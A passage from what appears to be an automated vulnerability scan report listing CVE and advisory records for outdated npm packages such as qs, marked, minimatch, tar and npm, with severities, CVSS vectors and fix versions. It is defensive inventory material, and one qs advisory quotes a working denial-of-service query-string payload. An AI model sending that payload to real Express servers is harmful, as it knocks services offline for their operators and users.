'CVE-2016-1000232', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2016-1000232', 'description': 'NodeJS Tough-Cookie version 2.2.2 contains a Regular Expression Parsing vulnerability in HTTP request Cookie Header parsing that can result in Denial of Service. This attack appear to be exploitable via Custom HTTP header passed by client. This vulnerability appears to have been fixed in 2.3.0.', 'packageVersion': '2.2.2', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L', 'packageName': 'tough-cookie', 'publishedDate': '2016-07-22T00:00:00Z', 'cvss': 5.3, 'status': ''}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2017-15010', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-15010', 'description': 'A ReDoS (regular expression denial of service) flaw was found in the tough-cookie module before 2.3.3 for Node.js. An attacker that is able to make an HTTP request using a specially crafted cookie may cause the application to consume an excessive amount of CPU.', 'packageVersion': '2.2.2', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'tough-cookie', 'publishedDate': '2017-10-04T01:29:00Z', 'cvss': 7.5, 'status': 'fixed in 2.3.3'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2017-16042', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-16042', 'description': 'Growl adds growl notification support to nodejs. Growl before 1.10.2 does not properly sanitize input before passing it to exec, allowing for arbitrary command execution.', 'packageVersion': '1.9.2', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'growl', 'publishedDate': '2018-06-04T19:29:00Z', 'cvss': 9.8, 'status': 'fixed in 1.10.2'}, {'severity': 'medium', 'riskFactors': {'Has fix': {}, 'Medium severity': {}, 'DoS': {}}, 'cveId': 'PRISMA-2021-0013', 'link': '', 'description': 'marked package prior to 1.1.1 are vulnerable to Regular Expression Denial of Service (ReDoS). The regex within src/rules.js file have multiple unused capture groups which could lead to a denial of service attack if user input is reachable. Origin: https://github.com/markedjs/marked/commit/bd4f8c464befad2b304d51e33e89e567326e62e0', 'packageVersion': '0.3.9', 'vector': '', 'packageName': 'marked', 'publishedDate': '2021-01-14T10:29:35Z', 'cvss': 0, 'status': 'fixed in 1.1.1'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-21681', 'link': 'https://github.com/advisories/GHSA-5v2h-r2cx-5xgj', 'description': 'Marked is a markdown parser and compiler. Prior to version 4.0.10, the regular expression `inline.reflinkSearch` may cause catastrophic backtracking against some strings and lead to a denial of service (DoS). Anyone who runs untrusted markdown through a vulnerable version of marked and does not use a worker with a time limit may be affected. This issue is patched in version 4.0.10. As a workaround, avoid running untrusted markdown through marked or run marked on a worker thread and set a reasonable time limit to prevent draining resources.', 'packageVersion': '0.3.9', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'marked', 'publishedDate': '2022-01-14T17:15:00Z', 'cvss': 7.5, 'status': 'fixed in 4.0.10'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-21680', 'link': 'https://github.com/advisories/GHSA-rrrm-qjm4-v8hf', 'description': 'Marked is a markdown parser and compiler. Prior to version 4.0.10, the regular expression `block.def` may cause catastrophic backtracking against some strings and lead to a regular expression denial of service (ReDoS). Anyone who runs untrusted markdown through a vulnerable version of marked and does not use a worker with a time limit may be affected. This issue is patched in version 4.0.10. As a workaround, avoid running untrusted markdown through marked or run marked on a worker thread and set a reasonable time limit to prevent draining resources.', 'packageVersion': '0.3.9', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'marked', 'publishedDate': '2022-01-14T17:15:00Z', 'cvss': 7.5, 'status': 'fixed in 4.0.10'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-44906', 'link': 'https://github.com/advisories/GHSA-xvch-5gv4-984h', 'description': 'Minimist <=1.2.5 is vulnerable to Prototype Pollution via file index.js, function setKey() (lines 69-95).', 'packageVersion': '1.2.5', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'minimist', 'publishedDate': '2022-03-17T16:15:00Z', 'cvss': 9.8, 'status': 'fixed in 1.2.6'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}}, 'cveId': 'PRISMA-2022-0230', 'link': 'https://github.com/mochajs/mocha/pull/4770', 'description': 'mocha packages from all versions are vulnerable to Regular Expression Denial of Service (ReDoS). clean() function is vulnerable to ReDoS attack due to the overlapped sub-patterns.', 'packageVersion': '2.5.3', 'vector': '', 'packageName': 'mocha', 'publishedDate': '2022-07-07T11:32:57Z', 'cvss': 7.5, 'status': 'open'}, {'severity': 'medium', 'riskFactors': {'Medium severity': {}, 'DoS': {}}, 'cveId': 'PRISMA-2022-0335', 'link': 'https://github.com/mochajs/mocha/commit/61b4b9209c2c64b32c8d48b1761c3b9384d411ea', 'description': 'mocha packages from all versions are vulnerable to Regular Expression Denial of Service (ReDoS). clean() function in utils.js is vulnerable to ReDoS with the regex: /^function(?:\\\\s*|\\\\s+[^(]*)\\\\([^)]*\\\\)\\\\s*\\\\{((?:.|\\n)*?)\\\\s*\\\\}$|^\\\\([^)]*\\\\', 'packageVersion': '2.5.3', 'vector': '', 'packageName': 'mocha', 'publishedDate': '2022-10-02T18:01:01Z', 'cvss': 5.3, 'status': 'open'}, {'severity': 'moderate', 'riskFactors': {'Medium severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-23362', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-23362', 'description': 'The package hosted-git-info before 3.0.8 are vulnerable to Regular Expression Denial of Service (ReDoS) via regular expression shortcutMatch in the fromUrl function in index.js. The affected regular expression exhibits polynomial worst-case time complexity.', 'packageVersion': '2.1.5', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L', 'packageName': 'hosted-git-info', 'publishedDate': '2021-03-23T17:15:00Z', 'cvss': 4, 'status': 'fixed in 2.8.9, 3.0.8'}, {'severity': 'high', 'riskFactors': {'Has fix': {}, 'High severity': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2018-7408', 'link': 'https://github.com/advisories/GHSA-ph34-pc88-72gc', 'description': 'An issue was discovered in an npm 5.7.0 2018-02-21 pre-release (marked as \\"next: 5.7.0\\" and therefore automatically installed by an \\"npm upgrade -g npm\\" command, and also announced in the vendor\\\'s blog without mention of pre-release status). It might allow local users to bypass intended filesystem access restrictions because ownerships of /etc and /usr directories are being changed unexpectedly, related to a \\"correctMkdir\\" issue.', 'packageVersion': '3.10.10', 'vector': 'CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'npm', 'publishedDate': '2018-02-22T18:29:00Z', 'cvss': 7, 'status': 'fixed in 5.7.1'}, {'severity': 'moderate', 'riskFactors': {'Has fix': {}, 'Medium severity': {}}, 'cveId': 'CVE-2020-15095', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-15095', 'description': 'Versions of the npm CLI prior to 6.14.6 are vulnerable to an information exposure vulnerability through log files. The CLI supports URLs like \\"://[[:]@][:][:][/]\\". The password value is not redacted and is printed to stdout and also to any generated log files.', 'packageVersion': '3.10.10', 'vector': 'CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:N/A:N', 'packageName': 'npm', 'publishedDate': '2020-07-07T19:15:00Z', 'cvss': 4, 'status': 'fixed in 6.14.6'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2019-16775', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-16775', 'description': "Versions of the npm CLI prior to 6.13.3 are vulnerable to an Arbitrary File Write. It is possible for packages to create symlinks to files outside of thenode_modules folder through the bin field upon installation. A properly constructed entry in the package.json bin field would allow a package publisher to create a symlink pointing to arbitrary files on a user\\'s system when the package is installed. This behavior is still possible through install scripts. This vulnerability bypasses a user using the --ignore-scripts install option.", 'packageVersion': '3.10.10', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N', 'packageName': 'npm', 'publishedDate': '2019-12-13T01:15:00Z', 'cvss': 7, 'status': 'fixed in 6.13.3'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2019-16776', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-16776', 'description': "Versions of the npm CLI prior to 6.13.3 are vulnerable to an Arbitrary File Write. It fails to prevent access to folders outside of the intended node_modules folder through the bin field. A properly constructed entry in the package.json bin field would allow a package publisher to modify and/or gain access to arbitrary files on a user\\'s system when the package is installed. This behavior is still possible through install scripts. This vulnerability bypasses a user using the --ignore-scripts install option.", 'packageVersion': '3.10.10', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N', 'packageName': 'npm', 'publishedDate': '2019-12-13T01:15:00Z', 'cvss': 7, 'status': 'fixed in 6.13.3'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2019-16777', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-16777', 'description': 'Versions of the npm CLI prior to 6.13.4 are vulnerable to an Arbitrary File Overwrite. It fails to prevent existing globally-installed binaries to be overwritten by other package installations. For example, if a package was installed globally and created a serve binary, any subsequent installs of packages that also create a serve binary would overwrite the previous serve binary. This behavior is still allowed in local installations and also through install scripts. This vulnerability bypasses a user using the --ignore-scripts install option.', 'packageVersion': '3.10.10', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N', 'packageName': 'npm', 'publishedDate': '2019-12-13T01:15:00Z', 'cvss': 7, 'status': 'fixed in 6.13.4'}, {'severity': 'high', 'riskFactors': {'Has fix': {}, 'High severity': {}, 'DoS': {}}, 'cveId': 'GHSA-mh5c-679w-hh4r', 'link': '', 'description': 'Versions of `mongodb` prior to 3.1.13 are vulnerable to Denial of Service. The package fails to properly catch an exception when a collection name is invalid and the DB does not exist, crashing the application. ## Recommendation Upgrade to version 3.1.13 or later.', 'packageVersion': '2.2.36', 'vector': '', 'packageName': 'mongodb', 'publishedDate': '2020-09-03T21:12:01Z', 'cvss': 7, 'status': 'fixed in 3.1.13'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2020-7788', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-7788', 'description': 'This affects the package ini before 1.3.6. If an attacker submits a malicious INI file to an application that parses it with ini.parse, they will pollute the prototype on the application. This can be exploited further depending on the context.', 'packageVersion': '1.3.4', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'ini', 'publishedDate': '2020-12-11T11:15:00Z', 'cvss': 9.8, 'status': 'fixed in 1.3.6'}, {'severity': 'high', 'riskFactors': {'Has fix': {}, 'High severity': {}, 'DoS': {}}, 'cveId': 'PRISMA-2022-0039', 'link': 'https://github.com/isaacs/minimatch/commit/a8763f4388e51956be62dc6025cec1126beeb5e6', 'description': "minimatch package versions before 3.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS). It\\'s possible to cause a denial of service when calling function braceExpand (The regex /\\\\{.*\\\\}/ is vulnerable and can be exploited).", 'packageVersion': '0.3.0', 'vector': '', 'packageName': 'minimatch', 'publishedDate': '2022-02-21T09:51:41Z', 'cvss': 7.5, 'status': 'fixed in 3.0.5'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2016-10540', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2016-10540', 'description': 'Minimatch is a minimal matching utility that works by converting glob expressions into JavaScript `RegExp` objects. The primary function, `minimatch(path, pattern)` in Minimatch 3.0.1 and earlier is vulnerable to ReDoS in the `pattern` parameter.', 'packageVersion': '0.3.0', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'minimatch', 'publishedDate': '2018-05-31T20:29:00Z', 'cvss': 7.5, 'status': ''}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-3517', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-3517', 'description': 'A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.', 'packageVersion': '0.3.0', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'minimatch', 'publishedDate': '2022-10-17T20:15:00Z', 'cvss': 7.5, 'status': 'fixed in 3.0.5'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2017-18077', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-18077', 'description': 'index.js in brace-expansion before 1.1.7 is vulnerable to Regular Expression Denial of Service (ReDoS) attacks, as demonstrated by an expand argument containing many comma characters.', 'packageVersion': '1.1.6', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'brace-expansion', 'publishedDate': '2018-01-27T12:29:00Z', 'cvss': 7, 'status': 'fixed in 1.1.7'}, {'severity': 'high', 'riskFactors': {'Has fix': {}, 'High severity': {}, 'DoS': {}}, 'cveId': 'PRISMA-2022-0039', 'link': 'https://github.com/isaacs/minimatch/commit/a8763f4388e51956be62dc6025cec1126beeb5e6', 'description': "minimatch package versions before 3.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS). It\\'s possible to cause a denial of service when calling function braceExpand (The regex /\\\\{.*\\\\}/ is vulnerable and can be exploited).", 'packageVersion': '3.0.3', 'vector': '', 'packageName': 'minimatch', 'publishedDate': '2022-02-21T09:51:41Z', 'cvss': 7.5, 'status': 'fixed in 3.0.5'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-3517', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-3517', 'description': 'A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.', 'packageVersion': '3.0.3', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'minimatch', 'publishedDate': '2022-10-17T20:15:00Z', 'cvss': 7.5, 'status': 'fixed in 3.0.5'}, {'severity': 'low', 'riskFactors': {'Has fix': {}}, 'cveId': 'CVE-2017-18869', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-18869', 'description': 'A TOCTOU issue in the chownr package before 1.1.0 for Node.js 10.10 could allow a local attacker to trick it into descending into unintended directories via symlink attacks.', 'packageVersion': '1.0.1', 'vector': 'CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N', 'packageName': 'chownr', 'publishedDate': '2020-06-15T15:15:00Z', 'cvss': 2.5, 'status': 'fixed in 1.1.0'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2019-13173', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-13173', 'description': "fstream before 1.0.12 is vulnerable to Arbitrary File Overwrite. Extracting tarballs containing a hardlink to a file that already exists in the system, and a file that matches the hardlink, will overwrite the system\\'s file with the contents of the extracted file. The fstream.DirWriter() function is vulnerable.", 'packageVersion': '1.0.10', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N', 'packageName': 'fstream', 'publishedDate': '2019-07-02T20:15:00Z', 'cvss': 7.5, 'status': 'fixed in 1.0.12'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-31129', 'link': 'https://github.com/advisories/GHSA-wc69-rhjr-hc9g', 'description': 'moment is a JavaScript date library for parsing, validating, manipulating, and formatting dates. Affected versions of moment were found to use an inefficient parsing algorithm. Specifically using string-to-date parsing in moment (more specifically rfc2822 parsing, which is tried by default) has quadratic (N^2) complexity on specific inputs. Users may notice a noticeable slowdown is observed with inputs above 10k characters. Users who pass user-provided strings without sanity length checks to moment constructor are vulnerable to (Re)DoS attacks. The problem is patched in 2.29.4, the patch can be applied to all affected versions with minimal tweaking. Users are advised to upgrade. Users unable to upgrade should consider limiting date lengths accepted from user input.', 'packageVersion': '2.24.0', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'moment', 'publishedDate': '2022-07-06T18:15:00Z', 'cvss': 7.5, 'status': 'fixed in 2.29.4'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-24785', 'link': 'https://github.com/advisories/GHSA-8hfj-j24r-96c4', 'description': 'Moment.js is a JavaScript date library for parsing, validating, manipulating, and formatting dates. A path traversal vulnerability impacts npm (server) users of Moment.js between versions 1.0.1 and 2.29.1, especially if a user-provided locale string is directly used to switch moment locale. This problem is patched in 2.29.2, and the patch can be applied to all affected versions. As a workaround, sanitize the user-provided locale name before passing it to Moment.js.', 'packageVersion': '2.24.0', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N', 'packageName': 'moment', 'publishedDate': '2022-04-04T17:15:00Z', 'cvss': 7.5, 'status': 'fixed in 2.29.2'}, {'severity': 'medium', 'riskFactors': {'Has fix': {}, 'Medium severity': {}}, 'cveId': 'PRISMA-2022-0087', 'link': 'https://github.com/ljharb/qs/issues/200', 'description': "qs package versions before 6.3.1 are vulnerable to Prototype Pollution. It\\'s a bypass for CVE-2017-1000048, that only fixed ]=toString, but not fixed [=toString. So it is possible to override prototype properties such as toString() for a nested object which exceeds the depth limit even when allowPrototypes is set to false.", 'packageVersion': '6.2.1', 'vector': '', 'packageName': 'qs', 'publishedDate': '2022-03-17T09:41:42Z', 'cvss': 5.9, 'status': 'fixed in 6.3.1'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-24999', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-24999', 'description': 'qs before 6.10.3, as used in Express before 4.17.3 and other products, allows attackers to cause a Node process hang for an Express application because an __ proto__ key can be used. In many typical Express use cases, an unauthenticated remote attacker can place the attack payload in the query string of the URL that is used to visit the application, such as a[__proto__]=b&a[__proto__]&a[length]=100000000. The fix was backported to qs 6.9.7, 6.8.3, 6.7.3, 6.6.1, 6.5.3, 6.4.1, 6.3.3, and 6.2.4 (and therefore Express 4.17.3, which has \\"deps: qs@6.9.7\\" in its release description, is not vulnerable).', 'packageVersion': '6.2.1', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'qs', 'publishedDate': '2022-11-26T22:15:00Z', 'cvss': 7.5, 'status': 'fixed in 6.10.3'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2017-1000048', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-1000048', 'description': "the web framework using ljharb\\'s qs module older than v6.3.2, v6.2.3, v6.1.2, and v6.0.4 is vulnerable to a DoS. A malicious user can send a evil request to cause the web framework crash.", 'packageVersion': '6.2.1', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'qs', 'publishedDate': '2017-03-01T00:00:00Z', 'cvss': 7, 'status': 'fixed in 6.3.2, 6.2.3, 6.1.2, 6.0.4'}, {'severity': 'medium', 'riskFactors': {'Medium severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2018-1107', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-1107', 'description': 'It was discovered that the is-my-json-valid JavaScript library used an inefficient regular expression to validate JSON fields defined to have email format. A specially crafted JSON file could cause it to consume an excessive amount of CPU time when validated.', 'packageVersion': '2.15.0', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L', 'packageName': 'is-my-json-valid', 'publishedDate': '2018-02-16T00:00:00Z', 'cvss': 5.3, 'status': 'fixed in 2.17.2, 1.4.1'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2016-2537', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2016-2537', 'description': "The is-my-json-valid package before 2.12.4 for Node.js has an incorrect exports[\\'utc-millisec\\'] regular expression, which allows remote attackers to cause a denial of service (blocked event loop) via a crafted string.", 'packageVersion': '2.15.0', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'is-my-json-valid', 'publishedDate': '2016-02-23T05:59:00Z', 'cvss': 7, 'status': 'fixed in 1.4.1, 2.17.2'}, {'severity': 'moderate', 'riskFactors': {'Medium severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2020-8244', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-8244', 'description': 'A buffer over-read vulnerability exists in bl <4.0.3, <3.0.1, <2.2.1, and <1.2.3 which could allow an attacker to supply user input (even typed) that if it ends up in consume() argument and can become negative, the BufferList state can be corrupted, tricking it into exposing uninitialized memory via regular .slice() calls.', 'packageVersion': '1.1.2', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L', 'packageName': 'bl', 'publishedDate': '2020-08-30T15:15:00Z', 'cvss': 4, 'status': 'fixed in 2.2.1, 1.2.3, 4.0.3, 3.0.1'}, {'severity': 'moderate', 'riskFactors': {'Attack vector: network': {}, 'Has fix': {}, 'Medium severity': {}}, 'cveId': 'CVE-2018-21270', 'link': 'https://github.com/advisories/GHSA-mf6x-7mm4-x2g7', 'description': 'Versions less than 0.0.6 of the Node.js stringstream module are vulnerable to an out-of-bounds read because of allocation of uninitialized buffers when a number is passed in the input stream (when using Node.js 4.x).', 'packageVersion': '0.0.5', 'vector': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:H', 'packageName': 'stringstream', 'publishedDate': '2020-12-03T21:15:00Z', 'cvss': 4, 'status': 'fixed in 0.0.6'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2020-7754', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-7754', 'description': 'This affects the package npm-user-validate before 1.0.1. The regex that validates user emails took exponentially longer to process long input strings beginning with @ characters.', 'packageVersion': '0.1.5', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'npm-user-validate', 'publishedDate': '2020-10-16T00:00:00Z', 'cvss': 7.5, 'status': 'fixed in 1.0.1'}, {'severity': 'low', 'riskFactors': {'Has fix': {}, 'DoS': {}}, 'cveId': 'GHSA-xgh6-85xh-479p', 'link': '', 'description': '`npm-user-validate` before version `1.0.1` is vulnerable to a Regular Expression Denial of Service (REDos). The regex that validates user emails took exponentially longer to process long input strings beginning with `@` characters. ### Impact The issue affects the `email` function. If you use this function to process arbitrary user input with no character limit the application may be susceptible to Denial of Service. ### Patches The issue is patched in version 1.0.1 by improving the regular expression used and also enforcing a 254 character limit. ### Workarounds Restrict the character length to a reasonable degree before passing a value to `.emal()`; Also, consider doing a more rigorous sanitizing/validation beforehand.', 'packageVersion': '0.1.5', 'vector': '', 'packageName': 'npm-user-validate', 'publishedDate': '2020-10-16T18:56:26Z', 'cvss': 1, 'status': 'fixed in 1.0.1'}, {'severity': 'medium', 'riskFactors': {'Medium severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2018-1109', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-1109', 'description': 'A vulnerability was found in Braces versions prior to 2.3.1. Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks.', 'packageVersion': '1.8.5', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L', 'packageName': 'braces', 'publishedDate': '2021-03-30T02:15:00Z', 'cvss': 5.3, 'status': 'fixed in 2.3.1'}, {'severity': 'low', 'riskFactors': {'Has fix': {}, 'DoS': {}}, 'cveId': 'GHSA-g95f-p29q-9xw4', 'link': '', 'description': 'Versions of `braces` prior to 2.3.1 are vulnerable to Regular Expression Denial of Service (ReDoS). Untrusted input may cause catastrophic backtracking while matching regular expressions. This can cause the application to be unresponsive leading to Denial of Service. ## Recommendation Upgrade to version 2.3.1 or higher.', 'packageVersion': '1.8.5', 'vector': '', 'packageName': 'braces', 'publishedDate': '2019-06-06T15:30:30Z', 'cvss': 1, 'status': 'fixed in 2.3.1'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-37713', 'link': 'https://github.com/advisories/GHSA-5955-9wpr-37jh', 'description': 'The npm package \\"tar\\" (aka node-tar) before versions 4.4.18, 5.0.10, and 6.1.9 has an arbitrary file creation/overwrite and arbitrary code execution vulnerability. node-tar aims to guarantee that any file whose location would be outside of the extraction target directory is not extracted. This is, in part, accomplished by sanitizing absolute paths of entries within the archive, skipping archive entries that contain `..` path portions, and resolving the sanitized paths against the extraction target directory. This logic was insufficient on Windows systems when extracting tar files that contained a path that was not an absolute path, but specified a drive letter different from the extraction target, such as `C:some\\\\path`. If the drive letter does not match the extraction target, for example `D:\\\\extraction\\\\dir`, then the result of `path.resolve(extractionDirectory, entryPath)` would resolve against the current working directory on the `C:` drive, rather than the extraction target directory. Additionally, a `..` portion of the path could occur immediately after the drive letter, such as `C:../foo`, and was not properly sanitized by the logic that checked for `..` within the normalized and split portions of the path. This only affects users of `node-tar` on Windows systems. These issues were addressed in releases 4.4.18, 5.0.10 and 6.1.9. The v3 branch of node-tar has been deprecate', 'packageVersion': '2.2.1', 'vector': 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H', 'packageName': 'tar', 'publishedDate': '2021-08-31T17:15:00Z', 'cvss': 7, 'status': 'fixed in 6.1.9, 5.0.10, 4.4.18'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-37712', 'link': 'https://github.com/advisories/GHSA-qq89-hq3f-393p', 'description': 'The npm package \\"tar\\" (aka node-tar) before versions 4.4.18, 5.0.10, and 6.1.9 has an arbitrary file creation/overwrite and arbitrary code execution vulnerability. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created. This logic was insufficient when extracting tar files that contained both a directory and a symlink with names containing unicode values that normalized to the same value. Additionally, on Windows systems, long path portions would resolve to the same file system entities as their 8.3 \\"short path\\" counterparts. A specially crafted tar archive could thus include a directory with one form of the path, followed by a symbolic link with a different string that resolves to the same file system entity, followed by a file using the first form. By first creating a directory, and then replacing that directory with a symlink that had a different apparent name that resolved to the same entry in the filesystem, it was thus possible to bypass node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting ', 'packageVersion': '2.2.1', 'vector': 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H', 'packageName': 'tar', 'publishedDate': '2021-08-31T17:15:00Z', 'cvss': 7, 'status': 'fixed in 6.1.9, 